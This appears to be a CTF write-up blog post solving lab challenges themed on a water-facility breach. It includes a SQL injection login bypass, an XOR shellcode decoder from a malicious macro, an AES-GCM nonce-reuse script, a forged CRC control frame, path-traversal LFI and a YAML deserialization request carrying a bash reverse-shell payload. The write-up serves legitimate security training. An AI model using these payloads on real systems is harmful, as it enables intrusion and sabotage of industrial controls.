SELECT * FROM users WHERE username = 'hehe'
    UNION SELECT 1, 'admin', '0ebe2eca800cf7bd9d9d9f9f4aafbc0c77ae155f43bbbeca69cb256a24c7f9bb'-- '
    AND password = 'hehe';

Sending this over, we successfully logged in!

THM{energy_backup_systems_compromised}

Flag

Orcam (Forensics)

Dr. Ayaka Hirano loves to swim with the sharks. So when the attackers from Virelia successfully retaliated against one of our own, it was up to the good doctor to take on the case. Will Dr. Hirano be able to determine how this attack happened in the first place?

In the desktop of the machine given, a writing_template.eml file was present, and contains the following:

Content-Type: multipart/mixed; boundary="===============7147510528207607842=="
MIME-Version: 1.0
From: he1pdesk@orcam.thm
To: admin@orcam.thm
Subject: Project Template

--===============7147510528207607842==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Please use the following template for the upcoming Project. The file will not work unless you open it using administrative privileges. When prompted, enable macros in order to get all of the details.
--===============7147510528207607842==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Project_Template.docm"

<SNIP>

head -n 17 writing_template.eml

The Project_Template.docm was embedded in the .eml file. We can decode and save the output into a .docm file for further analysis. There were macros embedded in this document file. Further analysis showed that there was a shellcode buf present in the macro and will be decoded with l33t as the XOR key. We can translate the operation into a python script.

buf = [<SNIP>]

key = "l33t"
decoded = bytearray()

# XOR decode
for i, b in enumerate(buf):
    decoded.append(b ^ ord(key[i % len(key)]))

# Optional: Save shellcode
with open("decoded_shellcode.bin", "wb") as f:
    f.write(bytes(decoded))

# Print readable ASCII strings
from itertools import groupby

def extract_ascii_strings(data, min_length=4):
    printable = lambda x: 32 <= x < 127
    strings = []
    for k, g in groupby(data, key=printable):
        if k:
            s = bytes(g)
            if len(s) >= min_length:
                strings.append(s.decode('ascii', errors='ignore'))
    return strings

ascii_strings = extract_ascii_strings(decoded)

for s in ascii_strings:
    print(s)

The flag was the password of the administrrator user

THM{Ev1l_M@Cr0}

Flag

Echoed Screams

Three months after the Virelia Water Control Facility was breached, OT traffic is finally back online—supposedly “fully remediated.” During a routine audit, Black Echo’s red team intercepted two back‐to‐back telemetry packets between a pump controller and the SCADA server. Curiously, both packets were encrypted under AES‐GCM using the same 16-byte nonce (number used once). The first packet is just regular facility telemetry; the second contains a hidden sabotage command with the kill-switch flag. Your job is to recover that flag and stop the attack.

Each file is formatted as:

[16 bytes GCM nonce] ∥ [96 bytes ciphertext] ∥ [16 bytes GCM tag]

We know that the first plaintext (96 bytes) is the facility’s standard telemetry string, exactly:

BEGIN TELEMETRY VIRELIA;ID=ZTRX0110393939DC;PUMP1=OFF;VALVE1=CLOSED;PUMP2=ON;VALVE2=CLOSED;END;

The second packet follows the same format but carries the kill switch command and flag. We need you to decrypt the contents of cipher2.bin so that we can recover and disable the kill switch.

This is a Nonce-reuse Vulnerability in AES-GCM.

AES-GCM is a stream cipher mode when nonce reuse occurs:

#!/usr/bin/env python3
import sys

def read_packet(path):
    with open(path, "rb") as f:
        data = f.read()
        nonce = data[:16]
        ciphertext = data[16:16+96]
        tag = data[16+96:128]
        return nonce, ciphertext, tag

def xor_bytes(b1, b2):
    return bytes(a ^ b for a, b in zip(b1, b2))

def main():
    file1 = "cipher1(1).bin"
    file2 = "cipher2(1).bin"

    # Read both packets
    nonce1, ct1, tag1 = read_packet(file1)
    nonce2, ct2, tag2 = read_packet(file2)

    # Sanity check
    if nonce1 != nonce2:
        print("Nonces are different. Cannot exploit AES-GCM nonce reuse.")
        sys.exit(1)

    # Known plaintext (from problem statement)
    pt1 = b"BEGIN TELEMETRY VIRELIA;ID=ZTRX0110393939DC;PUMP1=OFF;VALVE1=CLOSED;PUMP2=ON;VALVE2=CLOSED;END;;"

    if len(pt1) != 96:
        print("Known plaintext is not 96 bytes.")
        sys.exit(1)

    # Step 1: keystream = pt1 ⊕ ct1
    keystream = xor_bytes(pt1, ct1)

    # Step 2: pt2 = ct2 ⊕ keystream
    pt2 = xor_bytes(ct2, keystream)

    print("[*] Decrypted second message:")
    print(pt2.decode(errors='replace'))

if __name__ == "__main__":
    main()

THM{Echo_Telemetry}

Flag

CRC Me If You Can (Crypto)

Three months after the Virelia Water Control Facility was “remediated,” flickering sensors and phantom alerts persist. A covert second-stage implant still lurks, waiting for its kill switch. As a hired red-team specialist for Black Echo, your mission is to forge a legitimate control frame that disables the implant before the real attacker flips it on.

Files Given

00000000: cafe 0104 4f50 454e 92e5 6e10            ....OPEN..n.

xxd open_frame.binxxd open_frame.bin

00000000: 4b49 4c4c                                KILL

xxd kill_switch.binxxd kill_switch.bin

Exploit Script

We want to forge a similar frame with payload "KILL" and correct CRC.

import socket
from gateway_proto import crc32

# Constants
MAGIC = b'\xca\xfe'            # 2 bytes
VERSION = b'\x01\x04'          # 2 bytes
PAYLOAD = b'KILL'              # 4 bytes

# Step 1: Calculate correct CRC for "KILL"
crc = crc32(PAYLOAD)
crc_bytes = crc.to_bytes(4, 'big')  # Big endian

# Step 2: Build the final frame
frame = MAGIC + VERSION + PAYLOAD + crc_bytes
print(f"Forged frame: {frame.hex()}")

# Step 3: Send to control server on port 1500
def send_to_control(packet: bytes):
    with socket.create_connection(('10.10.176.199', 1500)) as sock:
        sock.sendall(packet)
        resp = sock.recv(1024)
        print(f"[Control Server Response] {resp.decode(errors='ignore')}")

# Optional: Check with Oracle on port 1501 to confirm packet format
def check_with_oracle(payload: bytes):
    with socket.create_connection(('10.10.176.199', 1501)) as sock:
        sock.sendall(payload)
        oracle_response = sock.recv(1024)
        print(f"[Oracle Response] {oracle_response.hex()}")

if __name__ == "__main__":
    # Optional verification
    # check_with_oracle(PAYLOAD)

    # Send forged packet
    send_to_control(frame)

THM{crc_m4c_c0mprom1s3d_2093982}

Flag

Burr v1 (Web)

A forgotten HMI node deep in Virelia’s wastewater control loop still runs an outdated instance, forked from an old Mango M2M stack.

Scanning the server with Rustscan, port 8080 was found to be open.

8080/tcp open  http    syn-ack ttl 59 Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-title: ScadaBR CTF
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests

Snipped scan Default credentials of admin:admin was used to login Searching for an exploit online, this repo was found: GitHub - hev0x/CVE-2021-26828_ScadaBR_RCE https://github.com/hev0x/CVE-2021-26828_ScadaBR_RCE![](/images/2025/06/image-44-1.png)root.txt is found in the tomcat path THM{rce_archieved_through_script_injection}

Flag

Persistence (Web)

After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated.

As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralise the backdoor before it can be reactivated.

The name variable was tested for LFI. Payloads like ../../../file.txt doesn’t work. However, URL-Encoding them does: We can view the contents of both scripts (update.py and app.py shown in the logs), and note the first line in debug.log

@app.route('/config/update', methods=['GET','POST'])
def config_update():
    if request.method == 'POST':
        sig = request.headers.get('X-FTW','')
        if sig != app_config['SIGNATURE']:
            return 'Forbidden', 403
        if request.content_type != 'application/x-yaml':
            return 'Unsupported Media Type', 415
        data = request.data
        with open(os.path.join(APP_ROOT, 'config.yaml'), 'wb') as f:
            f.write(data)
        log('Configuration updated', 'app')
        subprocess.Popen(['sudo', 'python3', os.path.join(APP_ROOT, 'update.py')])
        return 'Configuration applied', 200
    return render_template('update.html')

..%2F..%2F..%2F..%2Fopt%2Fhmi%2Fapp.py

# /opt/hmi/update.py
#!/usr/bin/env python3
import os
import time
import yaml

LOG = '/opt/hmi/logs/loader.log'

def log(msg):
    ts = time.strftime('%Y-%m-%dT%H:%M:%S')
    with open(LOG, 'a') as f:
        f.write(f"{ts} {msg}\n")

log('Config loader started')

try:
    cfg = yaml.load(open('/opt/hmi/config.yaml','r'), Loader=yaml.UnsafeLoader)
    log(f"Applying config: {cfg}")
    time.sleep(1)
    log('Config applied successfully')
except Exception as e:
    log(f"Error applying config: {e}")

..%2F..%2F..%2F..%2Fopt%2Fhmi%2Fupdate.py

The yaml.UnsafeLoader function was used to load the yaml file. A deserialisation attack could be tried. Python Yaml Deserialization - HackTricks https://book.hacktricks.wiki/en/pentesting-web/deserialization/python-yaml-deserialization.html#tool-to-create-payloads Capturing and modifying the request in Burp

POST /config/update HTTP/1.1
Host: 10.10.124.23:8080
Content-Length: 88
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
X-FTW: secr3tFTW192d2390
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Origin: http://10.10.124.23:8080
Content-Type: application/x-yaml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.124.23:8080/config/update
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

!!python/object/apply:os.system
  - 'bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'

Note that app.py contains logic to validate the X-FTW Header and the Content-Type as application/x-yaml. Start a listener and send the request and a reverse shell will be caught. THM{Sn34ky_B4ckd0or_23144}

Flag

Burr v2 (OT)

The Virelia facility’s legacy tank-control panel was marked “clean” during the remediation. But engineers still report inconsistent fill levels and sporadic valve toggling during non-operational hours.

After days of packet captures and flow analysis…nothing** u**ntil now.

The same site at burrv1 exists in port 8080 (and was vulnerable to the same exploit). However, port 5020 was open as well. A Modbus TCP client can be created to read the data sent to port 5020. The data can then be decoded and the flag is retrieved!

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('10.10.184.219', port=5020)
flag_bytes = []

if client.connect():
    print("Connected to Modbus server")
    for addr in range(0, 100, 10):  # Step by 10 to avoid overlap
        print(f"Reading registers {addr} to {addr + 9}")
        rr = client.read_holding_registers(address=addr, count=10, slave=1)
        if rr is None:
            print(f"Failed to read registers at address {addr}")
            continue
        if rr.isError():
            print(f"Error reading registers at address {addr}: {rr}")
            continue
        print(f"Registers at {addr}: {rr.registers}")
        flag_bytes.extend(rr.registers)
    client.close()
else:
    print("Unable to connect to Modbus server.")

# Strip trailing zeros (padding)
while flag_bytes and flag_bytes[-1] == 0:
    flag_bytes.pop()

flag_str = ''.join(chr(x) for x in flag_bytes)
print("\nDecoded flag:")
print(flag_str)

Connected to Modbus server
Reading registers 0 to 9
Registers at 0: [84, 72, 77, 123, 109, 111, 100, 98, 117, 115]
Reading registers 10 to 19
Registers at 10: [95, 104, 105, 100, 125, 0, 0, 0, 0, 0]
Reading registers 20 to 29
Registers at 20: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 30 to 39
Registers at 30: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 40 to 49
Registers at 40: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 50 to 59
Registers at 50: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 60 to 69
Registers at 60: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 70 to 79
Registers at 70: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 80 to 89
Registers at 80: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Reading registers 90 to 99
Error reading registers at address 90: ExceptionResponse(dev_id=1, function_code=131, exception_code=2)

Decoded flag:
THM{modbus_hid}

THM{modbus_hid}

Flag

Conclusion

This CTF was a full-spectrum engagement that pushed us to pivot across multiple domains, each with its own set of challenges. From navigating the quirks of OT infrastructure and reversing binaries, to exploiting memory corruption and web vulnerabilities, the scenarios were as realistic as they were rewarding. We tackled crypto puzzles, escalated privileges, and achieved full system compromise through boot2root exploits. Each stage demanded not just technical skill but adaptability and lateral thinking. As Team Hazy Jane, this exercise sharpened our red teaming mindset and reaffirmed the value of methodical exploration in high-stakes environments.


Share this post:

Previous Post
Leveraging Agentic AI Harnesses for CTF Challenges
Next Post
Crack, Pivot, Pwn: My 2-Hour OSCP+ Blitz Through 10 Machines